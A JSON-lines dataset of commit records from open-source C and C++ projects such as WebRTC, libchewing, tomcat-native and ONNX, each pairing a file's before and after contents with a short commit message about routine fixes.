{"commit":"d3464b2f5f46a6db68f66a62e9d130b744cc6594","old_file":"src\/executeStage.h","new_file":"src\/executeStage.h","old_contents":"\/*\n * File:   executeStage.h\n * Author: Alex Savarda\n *\/\n\n#define INSTR_COUNT     16   \/\/ Possible size of the instruction set\n\n#ifndef EXECUTESTAGE_H\n#define\tEXECUTESTAGE_H\n\ntypedef struct {\n    unsigned int stat;\n    unsigned int icode;\n    unsigned int ifun;\n    unsigned int valC;\n    unsigned int valA;\n    unsigned int valB;\n    unsigned int dstE;\n    unsigned int dstM;\n    unsigned int srcA;\n    unsigned int srcB;\n} eregister;\n\nstruct E {\n    unsigned int stat;\n    unsigned int icode;\n    unsigned int ifun;\n    unsigned int valC;\n    unsigned int valA;\n    unsigned int valB;\n    unsigned int dstE;\n    unsigned int dstM;\n    unsigned int srcA;\n    unsigned int srcB;\n};\n\n\n\/\/ Function prototypes\neregister getEregister(void);\nvoid clearEregister(void);\nvoid executeStage();\nvoid initFuncPtrArray(void);\nvoid updateEregister(unsigned int stat, unsigned int icode, unsigned int ifun,\n                     unsigned int valC, unsigned int valA, unsigned int valB, \n                     unsigned int dstE, unsigned int dstM, unsigned int srcA, \n                     unsigned int srcB);\n#endif\t\/* EXECUTESTAGE_H *\/\n\n","new_contents":"\/*\n * File:   executeStage.h\n * Author: Alex Savarda\n *\/\n\n#define INSTR_COUNT     16   \/\/ Possible size of the instruction set\n\n#ifndef EXECUTESTAGE_H\n#define EXECUTESTAGE_H\n\ntypedef struct {\n    unsigned int stat;\n    unsigned int icode;\n    unsigned int ifun;\n    unsigned int valC;\n    unsigned int valA;\n    unsigned int valB;\n    unsigned int dstE;\n    unsigned int dstM;\n    unsigned int srcA;\n    unsigned int srcB;\n} eregister;\n\nstruct E {\n    unsigned int stat;\n    unsigned int icode;\n    unsigned int ifun;\n    unsigned int valC;\n    unsigned int valA;\n    unsigned int valB;\n    unsigned int dstE;\n    unsigned int dstM;\n    unsigned int srcA;\n    unsigned int srcB;\n};\n\n\n\/\/ Function prototypes\neregister getEregister(void);\nvoid clearEregister(void);\nvoid executeStage();\nvoid initFuncPtrArray(void);\nvoid updateEregister(unsigned int stat, unsigned int icode, unsigned int ifun,\n                     unsigned int valC, unsigned int valA, unsigned int valB, \n                     unsigned int dstE, unsigned int dstM, unsigned int srcA, \n                     unsigned int srcB);\n#endif\t\/* EXECUTESTAGE_H *\/\n\n","subject":"Convert a tab into a space","message":"Convert a tab into a space\n","lang":"C","license":"isc","repos":"sbennett1990\/YESS,sbennett1990\/YESS,sbennett1990\/YESS"}
{"commit":"c0355a5eb3d8787fbd9bcac928e649b3381f73a3","old_file":"modlib.h","new_file":"modlib.h","old_contents":"\/* This is main header file that is ought to be included as library *\/\n\n\/\/Include proper header files\n#include <string.h>\n#include <stdlib.h>\n#include <inttypes.h>\n\n#include \"parser.h\"\n\n\/\/Function prototypes\nextern uint16_t MODBUSSwapEndian( uint16_t );\nextern uint16_t MODBUSCRC16( uint16_t *, uint16_t );\n","new_contents":"\/* This is main header file that is ought to be included as library *\/\n\n\/\/Include proper header files\n#include <string.h>\n#include <stdlib.h>\n#include <inttypes.h>\n\n\/\/Function prototypes\nextern uint16_t MODBUSSwapEndian( uint16_t );\nextern uint16_t MODBUSCRC16( uint8_t *, uint16_t );\n","subject":"Remove inclusion of 'parser.h' and fix pointer type","message":"Remove inclusion of 'parser.h' and fix pointer type\n","lang":"C","license":"mit","repos":"Jacajack\/modlib"}
{"commit":"d7a05b9d921d191923ded5e9770339a0bebca33b","old_file":"ComponentImplementationInclude.h","new_file":"ComponentImplementationInclude.h","old_contents":"#include \"Components.h\"\n\nclass HealthComponent : public HealthComponentBase {\npublic:\n    HealthComponent(Entity* entity, int maxHealth, int startHealth, const int& Health): HealthComponentBase(entity, maxHealth, startHealth, Health) {\n    }\n\n    void OnHeal(int amount) {\n    }\n    void OnDamage(int amount) {\n    }\n    void AttribHealth(int health) {\n    }\n};\nclass MonsterDieComponent : public MonsterDieComponentBase {\npublic:\n    MonsterDieComponent(Entity* entity): MonsterDieComponentBase(entity) {\n    }\n\n    void OnDie() {\n    }\n};\n","new_contents":"#include \"Components.h\"\n\nclass HealthComponent : public HealthComponentBase {\npublic:\n    HealthComponent(Entity* entity, int maxHealth, int startHealth, const int& Health): HealthComponentBase(entity, maxHealth, startHealth, Health) {\n    }\n\n    void HandleHeal(int amount) {\n    }\n    void HandleDamage(int amount) {\n    }\n    void AttribHealth(int health) {\n    }\n};\nclass MonsterDieComponent : public MonsterDieComponentBase {\npublic:\n    MonsterDieComponent(Entity* entity): MonsterDieComponentBase(entity) {\n    }\n\n    void HandleDie() {\n    }\n};\n","subject":"Fix the small test to use Handle instead of On","message":"Fix the small test to use Handle instead of On\n","lang":"C","license":"bsd-3-clause","repos":"DaemonDevelopers\/CBSE-Toolchain,DaemonDevelopers\/CBSE-Toolchain,DaemonDevelopers\/CBSE-Toolchain"}
{"commit":"4bb3e5fe554bc5d9e54924456a8711c3e40e6191","old_file":"hard_way\/ex15.c","new_file":"hard_way\/ex15.c","old_contents":"#include <stdio.h>\n\nint main(int argc, char *argv[]){\n\n  \/\/create two arrays we care about\n  int ages[] = {23,55,15,34,78,12};\n  char *names[] = {\n    \"Feinb\", \"Fhilp\", \"Wastan\", \"Wustak\",\"Henris\",\"Abkar\"\n  };\n\n  \/\/safely get the size of ages\n  int count = sizeof(ages) \/ sizeof(int);\n\n  int i = 0;\n\n  \/\/first way using indexing\n  for(i = 0; i < count; i++){\n    printf(\"%s had lived for %d years.\\n\", names[i], ages[i]);\n  }\n\n  printf(\"---\\n\");\n\n  return 0;\n}","new_contents":"#include <stdio.h>\n\nint main(int argc, char *argv[]){\n\n  \/\/create two arrays we care about\n  int ages[] = {23,55,15,34,78,12};\n  char *names[] = {\n    \"Feinb\", \"Fhilp\", \"Wastan\", \"Wustak\",\"Henris\",\"Abkar\"\n  };\n\n  \/\/safely get the size of ages\n  int count = sizeof(ages) \/ sizeof(int);\n\n  int i = 0;\n\n  \/\/first way using indexing\n  for(i = 0; i < count; i++){\n    printf(\"%s has lived for %d years.\\n\", names[i], ages[i]);\n  }\n\n  printf(\"---\\n\");\n\n  \/\/setup pointers to the start of the arrays\n  int *cur_age = ages;\n  char **cur_name = names;\n\n  \/\/ second way using pointers\n  for(i = 0; i < count; i++){\n    printf(\"%s is %d years old.\\n\",\n      *(cur_name+i), *(cur_age+i));\n  }\n\n  printf(\"---\\n\");\n\n  return 0;\n}","subject":"Use pointers to start of arrays","message":"Use pointers to start of arrays\n","lang":"C","license":"mit","repos":"thewazir\/learning_c"}
{"commit":"93802e24742842db185ead1cf18db9827a3d8664","old_file":"include\/IFile.h","new_file":"include\/IFile.h","old_contents":"#ifndef IFILE_H\n#define IFILE_H\n\n#include <vector>\n#include <memory>\n\n#include \"IMediaLibrary.h\"\n#include \"ITrackInformation.h\"\n\nclass IAlbumTrack;\nclass IShowEpisode;\nclass ITrackInformation;\n\nclass IFile\n{\n    public:\n        enum Type\n        {\n            VideoType, \/\/ Any video file, not being a tv show episode\n            AudioType, \/\/ Any kind of audio file, not being an album track\n            ShowEpisodeType,\n            AlbumTrackType,\n            UnknownType,\n        };\n        virtual ~IFile() {}\n\n        virtual unsigned int id() const = 0;\n        virtual AlbumTrackPtr albumTrack() = 0;\n        virtual bool setAlbumTrack(AlbumTrackPtr albumTrack ) = 0;\n        virtual unsigned int duration() const = 0;\n        virtual std::shared_ptr<IShowEpisode> showEpisode() = 0;\n        virtual bool setShowEpisode( ShowEpisodePtr showEpisode ) = 0;\n        virtual int playCount() const = 0;\n        virtual const std::string& mrl() const = 0;\n        virtual bool addLabel( LabelPtr label ) = 0;\n        virtual bool removeLabel( LabelPtr label ) = 0;\n        virtual MoviePtr movie() = 0;\n        virtual bool setMovie( MoviePtr movie ) = 0;\n        virtual std::vector<std::shared_ptr<ILabel> > labels() = 0;\n};\n\n#endif \/\/ IFILE_H\n","new_contents":"#ifndef IFILE_H\n#define IFILE_H\n\n#include <vector>\n#include <memory>\n\n#include \"IMediaLibrary.h\"\n#include \"ITrackInformation.h\"\n\nclass IAlbumTrack;\nclass IShowEpisode;\nclass ITrackInformation;\n\nclass IFile\n{\n    public:\n        enum Type\n        {\n            VideoType, \/\/ Any video file, not being a tv show episode\n            AudioType, \/\/ Any kind of audio file, not being an album track\n            ShowEpisodeType,\n            AlbumTrackType,\n            UnknownType\n        };\n        virtual ~IFile() {}\n\n        virtual unsigned int id() const = 0;\n        virtual AlbumTrackPtr albumTrack() = 0;\n        virtual bool setAlbumTrack(AlbumTrackPtr albumTrack ) = 0;\n        virtual unsigned int duration() const = 0;\n        virtual std::shared_ptr<IShowEpisode> showEpisode() = 0;\n        virtual bool setShowEpisode( ShowEpisodePtr showEpisode ) = 0;\n        virtual int playCount() const = 0;\n        virtual const std::string& mrl() const = 0;\n        virtual bool addLabel( LabelPtr label ) = 0;\n        virtual bool removeLabel( LabelPtr label ) = 0;\n        virtual MoviePtr movie() = 0;\n        virtual bool setMovie( MoviePtr movie ) = 0;\n        virtual std::vector<std::shared_ptr<ILabel> > labels() = 0;\n};\n\n#endif \/\/ IFILE_H\n","subject":"Fix a warning with -pedantic on some old gcc versions","message":"Fix a warning with -pedantic on some old gcc versions\n","lang":"C","license":"lgpl-2.1","repos":"chouquette\/medialibrary,chouquette\/medialibrary,chouquette\/medialibrary,chouquette\/medialibrary"}
{"commit":"2803a40fe335a29f9584911d1a52856bdb302df7","old_file":"webrtc\/modules\/audio_coding\/codecs\/ilbc\/nearest_neighbor.c","new_file":"webrtc\/modules\/audio_coding\/codecs\/ilbc\/nearest_neighbor.c","old_contents":"\/*\n *  Copyright (c) 2011 The WebRTC project authors. All Rights Reserved.\n *\n *  Use of this source code is governed by a BSD-style license\n *  that can be found in the LICENSE file in the root of the source\n *  tree. An additional intellectual property rights grant can be found\n *  in the file PATENTS.  All contributing project authors may\n *  be found in the AUTHORS file in the root of the source tree.\n *\/\n\n\/******************************************************************\n\n iLBC Speech Coder ANSI-C Source Code\n\n WebRtcIlbcfix_NearestNeighbor.c\n\n******************************************************************\/\n\n#include \"defines.h\"\n\nvoid WebRtcIlbcfix_NearestNeighbor(size_t* index,\n                                   const size_t* array,\n                                   size_t value,\n                                   size_t arlength) {\n  size_t min_diff = (size_t)-1;\n  for (size_t i = 0; i < arlength; i++) {\n    const size_t diff =\n        (array[i] < value) ? (value - array[i]) : (array[i] - value);\n    if (diff < min_diff) {\n      *index = i;\n      min_diff = diff;\n    }\n  }\n}\n","new_contents":"\/*\n *  Copyright (c) 2011 The WebRTC project authors. All Rights Reserved.\n *\n *  Use of this source code is governed by a BSD-style license\n *  that can be found in the LICENSE file in the root of the source\n *  tree. An additional intellectual property rights grant can be found\n *  in the file PATENTS.  All contributing project authors may\n *  be found in the AUTHORS file in the root of the source tree.\n *\/\n\n\/******************************************************************\n\n iLBC Speech Coder ANSI-C Source Code\n\n WebRtcIlbcfix_NearestNeighbor.c\n\n******************************************************************\/\n\n#include \"defines.h\"\n\nvoid WebRtcIlbcfix_NearestNeighbor(size_t* index,\n                                   const size_t* array,\n                                   size_t value,\n                                   size_t arlength) {\n  size_t i;\n  size_t min_diff = (size_t)-1;\n  for (i = 0; i < arlength; i++) {\n    const size_t diff =\n        (array[i] < value) ? (value - array[i]) : (array[i] - value);\n    if (diff < min_diff) {\n      *index = i;\n      min_diff = diff;\n    }\n  }\n}\n","subject":"Fix ChromeOS build (C99 break)","message":"Fix ChromeOS build (C99 break)\n\nBUG=5016\nTBR=henrik.lundin@webrtc.org\n\nReview URL: https:\/\/codereview.webrtc.org\/1354163002\n\nCr-Commit-Position: 972c6d2dc6dd5efdad1377c0d224e03eb8f276f7@{#9992}\n","lang":"C","license":"bsd-3-clause","repos":"TimothyGu\/libilbc,ShiftMediaProject\/libilbc,TimothyGu\/libilbc,TimothyGu\/libilbc,ShiftMediaProject\/libilbc,ShiftMediaProject\/libilbc,TimothyGu\/libilbc,TimothyGu\/libilbc,ShiftMediaProject\/libilbc,ShiftMediaProject\/libilbc"}
{"commit":"405107c556390b65fecb7b20c8d7c33d53c34b9e","old_file":"include\/chewing-compat.h","new_file":"include\/chewing-compat.h","old_contents":"\/*\n * chewing-compat.h\n *\n * Copyright (c) 2014\n *      libchewing Core Team. See ChangeLog for details.\n *\n * See the file \"COPYING\" for information on usage and redistribution\n * of this file.\n *\/\n\n#ifndef _CHEWING_COMPAT_\n#define _CHEWING_COMPAT_\n\n\/** @brief indicate the internal encoding of data processing.\n *  @since 0.3.0\n *\/\n#define LIBCHEWING_ENCODING \"UTF-8\"\n\n\/* deprecated function. for API compatibility *\/\nCHEWING_API int chewing_zuin_Check(ChewingContext *ctx) DEPRECATED_FOR(chewing_bopomofo_Check);\nCHEWING_API char *chewing_zuin_String(ChewingContext *,\n                                      int *zuin_count) DEPRECATED_FOR(chewing_bopomofo_String_static);\n\nCHEWING_API int chewing_Init(const char *dataPath, const char *hashPath) DEPRECATED;\nCHEWING_API void chewing_Terminate() DEPRECATED;\nCHEWING_API int chewing_Configure(ChewingContext *ctx, ChewingConfigData * pcd) DEPRECATED_FOR(chewing_set_*);\nCHEWING_API void chewing_set_hsuSelKeyType(ChewingContext *ctx, int mode) DEPRECATED_FOR(chewing_set_selKey);\nCHEWING_API int chewing_get_hsuSelKeyType(ChewingContext *ctx) DEPRECATED_FOR(chewing_get_selKey);\n\n#endif\n","new_contents":"\/*\n * chewing-compat.h\n *\n * Copyright (c) 2014\n *      libchewing Core Team. See ChangeLog for details.\n *\n * See the file \"COPYING\" for information on usage and redistribution\n * of this file.\n *\/\n\n\/* *INDENT-OFF* *\/\n#ifndef _CHEWING_COMPAT_\n#define _CHEWING_COMPAT_\n\/* *INDENT-ON* *\/\n\n\/** @brief indicate the internal encoding of data processing.\n *  @since 0.3.0\n *\/\n#define LIBCHEWING_ENCODING \"UTF-8\"\n\n\/* deprecated function. for API compatibility *\/\nCHEWING_API int chewing_zuin_Check(ChewingContext *ctx) DEPRECATED_FOR(chewing_bopomofo_Check);\nCHEWING_API char *chewing_zuin_String(ChewingContext *,\n                                      int *zuin_count) DEPRECATED_FOR(chewing_bopomofo_String_static);\n\nCHEWING_API int chewing_Init(const char *dataPath, const char *hashPath) DEPRECATED;\nCHEWING_API void chewing_Terminate() DEPRECATED;\nCHEWING_API int chewing_Configure(ChewingContext *ctx, ChewingConfigData * pcd) DEPRECATED_FOR(chewing_set_*);\nCHEWING_API void chewing_set_hsuSelKeyType(ChewingContext *ctx, int mode) DEPRECATED_FOR(chewing_set_selKey);\nCHEWING_API int chewing_get_hsuSelKeyType(ChewingContext *ctx) DEPRECATED_FOR(chewing_get_selKey);\n\n\/* *INDENT-OFF* *\/\n#endif\n\/* *INDENT-ON* *\/\n","subject":"Add indent comment for header guard","message":"Add indent comment for header guard\n","lang":"C","license":"lgpl-2.1","repos":"chewing\/libchewing,bbyykk\/libtaigi,PingNote\/libchewing,czchen\/libchewing,cwlin\/libchewing,PeterDaveHello\/libchewing,simonfork\/libchewing,PingNote\/libchewing,yan12125\/libchewing,yan12125\/libchewing,bbyykk\/libtaigi,ShengYenPeng\/libchewing,Chocobo1\/libchewing,mangokingTW\/libchewing,cwlin\/libchewing,hiunnhue\/libchewing,bbyykk\/libtaigi,cwlin\/libchewing,PeterDaveHello\/libchewing,PeterDaveHello\/libchewing,yan12125\/libchewing,simonfork\/libchewing,yan12125\/libchewing,chewing\/libchewing,kito-cheng\/libchewing,mangokingTW\/libchewing,PingNote\/libchewing,hiunnhue\/libchewing,hiunnhue\/libchewing,kito-cheng\/libchewing,robert501128\/libchewing,czchen\/libchewing,chewing\/libchewing,kito-cheng\/libchewing,chewing\/libchewing,dimotsai\/libchewing,PingNote\/libchewing,PeterDaveHello\/libchewing,mangokingTW\/libchewing,cwlin\/libchewing,bbyykk\/libtaigi,Chocobo1\/libchewing,hiunnhue\/libchewing,robert501128\/libchewing,czchen\/libchewing,czchen\/libchewing,Chocobo1\/libchewing,ShengYenPeng\/libchewing,Chocobo1\/libchewing,simonfork\/libchewing,hiunnhue\/libchewing,dimotsai\/libchewing,dimotsai\/libchewing,dimotsai\/libchewing,Chocobo1\/libchewing,simonfork\/libchewing,cwlin\/libchewing,robert501128\/libchewing,kito-cheng\/libchewing,robert501128\/libchewing,bbyykk\/libtaigi,ShengYenPeng\/libchewing,ShengYenPeng\/libchewing,mangokingTW\/libchewing"}
{"commit":"1fad3482bb25c2d77ac5ceb8b48b6985d91f7f48","old_file":"sticks.c","new_file":"sticks.c","old_contents":"#include <stdio.h>\n\ntypedef struct {\n    int hands[2][2];\n    int turn;\n} Sticks;\n\nvoid sticks_create(Sticks *sticks) {\n    sticks->hands[0][0] = 1;\n    sticks->hands[0][1] = 1;\n    sticks->hands[1][0] = 1;\n    sticks->hands[1][1] = 1;\n    sticks->turn = 0;\n}\n\nvoid sticks_play(Sticks *sticks, int actor, int target) {\n    sticks->hands[!sticks->turn][target] += sticks->hands[sticks->turn][actor];\n    sticks->turn = !sticks->turn;\n}\n\nint main(void) {\n    Sticks sticks;\n    sticks_create(&sticks);\n    printf(\"%d\\n\", sticks.hands[0][0]);\n    printf(\"%d\\n\", sticks.turn);\n    sticks_play(&sticks, 0, 1);\n    printf(\"%d\\n\", sticks.hands[1][1]);\n    printf(\"%d\\n\", sticks.turn);\n}\n","new_contents":"#include <stdio.h>\n\ntypedef struct {\n    int hands[2][2];\n    int turn;\n} Sticks;\n\nvoid sticks_create(Sticks *sticks) {\n    sticks->hands[0][0] = 1;\n    sticks->hands[0][1] = 1;\n    sticks->hands[1][0] = 1;\n    sticks->hands[1][1] = 1;\n    sticks->turn = 0;\n}\n\nvoid sticks_play(Sticks *sticks, int actor, int target) {\n    sticks->hands[!sticks->turn][target] += sticks->hands[sticks->turn][actor];\n    if (sticks->hands[!sticks->turn][target] >= 5) {\n        sticks->hands[!sticks->turn][target] = 0;\n    }\n    sticks->turn = !sticks->turn;\n}\n\nint main(void) {\n    Sticks sticks;\n    sticks_create(&sticks);\n    printf(\"%d\\n\", sticks.hands[0][0]);\n    printf(\"%d\\n\", sticks.turn);\n    sticks_play(&sticks, 0, 1);\n    printf(\"%d\\n\", sticks.hands[1][1]);\n    printf(\"%d\\n\", sticks.turn);\n}\n","subject":"Kill hands that reach five fingers","message":"Kill hands that reach five fingers\n","lang":"C","license":"mit","repos":"tysonzero\/c-ann"}
{"commit":"e838c93903d30eb03b606b9932a2072df0061060","old_file":"3RVX\/Controllers\/Volume\/VolumeController.h","new_file":"3RVX\/Controllers\/Volume\/VolumeController.h","old_contents":"\/\/ Copyright (c) 2015, Matthew Malensek.\n\/\/ Distributed under the BSD 2-Clause License (see LICENSE.txt for details)\n\n#pragma once\n\nclass VolumeTransformation;\n\nclass VolumeController {\npublic:\n    struct DeviceInfo {\n        std::wstring name;\n        std::wstring id;\n    };\n\n    \/\/\/ <summary>\n    \/\/\/ Retrieves the current volume level as a float, ranging from 0.0 - 1.0\n    \/\/\/ <\/summary>\n    virtual float Volume() = 0;\n\n    \/\/\/ <summary>Sets the volume level. Valid range: 0.0 - 1.0<\/summary>\n    virtual void Volume(float vol) = 0;\n\n    virtual bool Muted() = 0;\n    virtual void Muted(bool mute) = 0;\n    virtual void ToggleMute() {\n        (Muted() == true) ? Muted(false) : Muted(true);\n    }\n\n    virtual void AddTransformation(VolumeTransformation *transform) = 0;\n    virtual void RemoveTransformation(VolumeTransformation *transform) = 0;\n\npublic:\n    static const int MSG_VOL_CHNG = WM_APP + 1080;\n    static const int MSG_VOL_DEVCHNG = WM_APP + 1081;\n\n};","new_contents":"\/\/ Copyright (c) 2015, Matthew Malensek.\n\/\/ Distributed under the BSD 2-Clause License (see LICENSE.txt for details)\n\n#pragma once\n\nclass VolumeTransformation;\n\nclass VolumeController {\npublic:\n    struct DeviceInfo {\n        std::wstring name;\n        std::wstring id;\n    };\n\n    \/\/\/ <summary>\n    \/\/\/ Retrieves the current volume level as a float, ranging from 0.0 - 1.0\n    \/\/\/ <\/summary>\n    virtual float Volume() = 0;\n\n    \/\/\/ <summary>Sets the volume level. Valid range: 0.0 - 1.0<\/summary>\n    virtual void Volume(float vol) = 0;\n\n    virtual bool Muted() = 0;\n    virtual void Muted(bool mute) = 0;\n    virtual void ToggleMute() {\n        (Muted() == true) ? Muted(false) : Muted(true);\n    }\n\n    virtual void Enabled() = 0;\n\n    virtual void AddTransformation(VolumeTransformation *transform) = 0;\n    virtual void RemoveTransformation(VolumeTransformation *transform) = 0;\n\npublic:\n    static const int MSG_VOL_CHNG = WM_APP + 1080;\n    static const int MSG_VOL_DEVCHNG = WM_APP + 1081;\n\n};","subject":"Add method to check audio device state","message":"Add method to check audio device state\n","lang":"C","license":"bsd-2-clause","repos":"malensek\/3RVX,malensek\/3RVX,malensek\/3RVX"}
{"commit":"7740285e7d73d5637ce04a9f901835f6cd33300f","old_file":"tests\/regression\/13-privatized\/29-multiple-protecting2-vesal.c","new_file":"tests\/regression\/13-privatized\/29-multiple-protecting2-vesal.c","old_contents":"","new_contents":"\/\/ PARAM: --enable ana.int.interval\n\/\/ Copied & modified from 13\/24.\n#include <pthread.h>\n#include <assert.h>\n\nint g2;\npthread_mutex_t mutex1 = PTHREAD_MUTEX_INITIALIZER;\npthread_mutex_t mutex2 = PTHREAD_MUTEX_INITIALIZER;\npthread_mutex_t __global_lock = PTHREAD_MUTEX_INITIALIZER;\n\nvoid *t2_fun(void *arg) {\n  pthread_mutex_lock(&mutex2);\n  pthread_mutex_lock(&__global_lock);\n  g2++;\n  pthread_mutex_unlock(&__global_lock); \/\/ Write Mine influence: [[g2, __global_lock], t2_fun, {mutex2}] -> 1\n  pthread_mutex_lock(&__global_lock);\n  g2--;\n  pthread_mutex_unlock(&__global_lock); \/\/ Write Mine influence: [[g2, __global_lock], t2_fun, {mutex2}] -> 0\n  pthread_mutex_unlock(&mutex2);\n  return NULL;\n}\n\nint main(void) {\n  pthread_t id2;\n  pthread_create(&id2, NULL, t2_fun, NULL);\n\n  pthread_mutex_lock(&mutex1);\n  pthread_mutex_lock(&__global_lock); \/\/ Read & join to g2 Mine influence: [[g2, __global_lock], t2_fun, {mutex2}] -> (0 join 1 = Unknown)\n  assert(0 <= g2); \/\/ TODO (widening)\n  assert(g2 <= 1);\n  pthread_mutex_unlock(&__global_lock);\n\n  pthread_mutex_lock(&mutex2);\n  pthread_mutex_lock(&__global_lock);\n  assert(g2 == 0);\n  pthread_mutex_unlock(&__global_lock);\n  pthread_mutex_unlock(&mutex2);\n\n  pthread_mutex_unlock(&mutex1);\n\n  pthread_join(id2, NULL);\n  return 0;\n}","subject":"Add Vesal's version of 13\/24 where mutex-oplus and mutex-meet are more precise than old and mine","message":"Add Vesal's version of 13\/24 where mutex-oplus and mutex-meet are more precise than old and mine\n","lang":"C","license":"mit","repos":"goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer"}
{"commit":"de9495f69321629067ec16ec41e271eeecca5a22","old_file":"Source\/Headers\/InTimeShouldSyntax.h","new_file":"Source\/Headers\/InTimeShouldSyntax.h","old_contents":"#import \"AsyncActualValue.h\"\n\nnamespace CedarAsync {\n    template<typename T>\n    struct InTimeMarker {\n        T(^actualExpression)(void);\n        const char *fileName;\n        int lineNumber;\n    };\n\n    template<typename T>\n    const AsyncActualValue<T> operator,(const InTimeMarker<T> & marker, const Cedar::Matchers::ActualValueMarker & _) {\n        return AsyncActualValue<T>(marker.fileName, marker.lineNumber, marker.actualExpression);\n    }\n\n    template<typename T>\n    const AsyncActualValueMatchProxy<T> operator,(const AsyncActualValue<T> & actualValue, bool negate) {\n        return negate ? actualValue.to_not : actualValue.to;\n    }\n\n    template<typename T, typename MatcherType>\n    void operator,(const AsyncActualValueMatchProxy<T> & matchProxy, const MatcherType & matcher) {\n        matchProxy(matcher);\n    }\n}\n\n#ifndef CEDAR_ASYNC_DISALLOW_IN_TIME\n#define in_time(x) (InTimeMarker<typeof(x)>){^{return x;}, __FILE__, __LINE__}\n#endif\n","new_contents":"#import \"AsyncActualValue.h\"\n\nnamespace CedarAsync {\n    template<typename T>\n    struct InTimeMarker {\n        T(^actualExpression)(void);\n        const char *fileName;\n        int lineNumber;\n    };\n\n    template<typename T>\n    const AsyncActualValue<T> operator,(const InTimeMarker<T> & marker, const Cedar::Matchers::ActualValueMarker & _) {\n        return AsyncActualValue<T>(marker.fileName, marker.lineNumber, marker.actualExpression);\n    }\n\n    template<typename T>\n    const AsyncActualValueMatchProxy<T> operator,(const AsyncActualValue<T> & actualValue, bool negate) {\n        return negate ? actualValue.to_not : actualValue.to;\n    }\n\n    template<typename T, typename MatcherType>\n    void operator,(const AsyncActualValueMatchProxy<T> & matchProxy, const MatcherType & matcher) {\n        matchProxy(matcher);\n    }\n}\n\n#ifndef CEDAR_ASYNC_DISALLOW_IN_TIME\n#define in_time(x) (InTimeMarker<__typeof__(x)>){^{return x;}, __FILE__, __LINE__}\n#endif\n","subject":"Use __typeof__ since typeof is unavailable in our build","message":"Use __typeof__ since typeof is unavailable in our build","lang":"C","license":"mit","repos":"cppforlife\/CedarAsync,cppforlife\/CedarAsync"}
{"commit":"12f1e5c3a3b2948359da2f87937214ee413db567","old_file":"native\/include\/ssl_private.h","new_file":"native\/include\/ssl_private.h","old_contents":"\/* Copyright 2000-2004 The Apache Software Foundation\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#ifndef SSL_PRIVATE_H\n#define SSL_PRIVATE_H\n\n\/* OpenSSL headers *\/\n#include <openssl\/ssl.h>\n#include <openssl\/err.h>\n#include <openssl\/x509.h>\n#include <openssl\/pem.h>\n#include <openssl\/crypto.h>\n#include <openssl\/evp.h>\n#include <openssl\/rand.h>\n#include <openssl\/x509v3.h>\n\/* Avoid tripping over an engine build installed globally and detected\n * when the user points at an explicit non-engine flavor of OpenSSL\n *\/\n#if defined(HAVE_OPENSSL_ENGINE_H) && defined(HAVE_ENGINE_INIT)\n#include <openssl\/engine.h>\n#endif\n\n\n\n#endif \/* SSL_PRIVATE_H *\/\n","new_contents":"\/* Copyright 2000-2004 The Apache Software Foundation\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#ifndef SSL_PRIVATE_H\n#define SSL_PRIVATE_H\n\n\/* OpenSSL headers *\/\n#include <openssl\/ssl.h>\n#include <openssl\/err.h>\n#include <openssl\/x509.h>\n#include <openssl\/pem.h>\n#include <openssl\/crypto.h>\n#include <openssl\/evp.h>\n#include <openssl\/rand.h>\n#include <openssl\/x509v3.h>\n\/* Avoid tripping over an engine build installed globally and detected\n * when the user points at an explicit non-engine flavor of OpenSSL\n *\/\n#ifndef OPENSSL_NO_ENGINE\n#include <openssl\/engine.h>\n#endif\n\n\n\n#endif \/* SSL_PRIVATE_H *\/\n","subject":"Use OpenSSL engine by default.","message":"Use OpenSSL engine by default.\n\n\ngit-svn-id: b819289d3a0e8888cd070d2ae628b7cf730b797f@300663 13f79535-47bb-0310-9956-ffa450edef68\n","lang":"C","license":"apache-2.0","repos":"apache\/tomcat-native,andreydomas\/tomcat-native,rmaucher\/tomcat-native-openssl,rmaucher\/tomcat-native-openssl,rmaucher\/tomcat-native-openssl,apache\/tomcat-native,apache\/tomcat-native,apache\/tomcat-native,andreydomas\/tomcat-native,andreydomas\/tomcat-native,rmaucher\/tomcat-native-openssl,andreydomas\/tomcat-native,andreydomas\/tomcat-native,apache\/tomcat-native,rmaucher\/tomcat-native-openssl"}
{"commit":"dd15514211cdcdc037368e6b584dfe79e58f3535","old_file":"onnx\/optimizer\/passes\/optimize_pass.h","new_file":"onnx\/optimizer\/passes\/optimize_pass.h","old_contents":"#pragma once\n\n#include \"onnx\/onnx_pb.h\"\n#include \"onnx\/ir.h\"\n\nnamespace onnx { namespace optimization {\n\nenum class API_TYPE {\n  PROTO, IR\n};\n\nstruct OptimizePass {\n\n  std::string name;\n  API_TYPE type;\n\n  explicit OptimizePass(const std::string name, API_TYPE type)\n    : name(name), type(type) {\n  }\n\n  virtual void optimize(onnx::ModelProto& mp) {}\n\n  virtual void optimize(Graph& graph) {}\n\n};\n\n\n}} \/\/ namespace onnx::optimization\n","new_contents":"#pragma once\n\n#include \"onnx\/onnx_pb.h\"\n#include \"onnx\/ir.h\"\n\nnamespace onnx { namespace optimization {\n\nenum class API_TYPE {\n  PROTO, IR\n};\n\nstruct OptimizePass {\n\n  std::string name;\n  API_TYPE type;\n\n  explicit OptimizePass(const std::string& name, API_TYPE type)\n    : name(name), type(type) {\n  }\n\n  virtual void optimize(onnx::ModelProto& mp) {}\n\n  virtual void optimize(Graph& graph) {}\n\n};\n\n\n}} \/\/ namespace onnx::optimization\n","subject":"Fix the constructor of OptimizePass","message":"Fix the constructor of OptimizePass\n","lang":"C","license":"apache-2.0","repos":"onnx\/onnx,onnx\/onnx,onnx\/onnx,onnx\/onnx"}
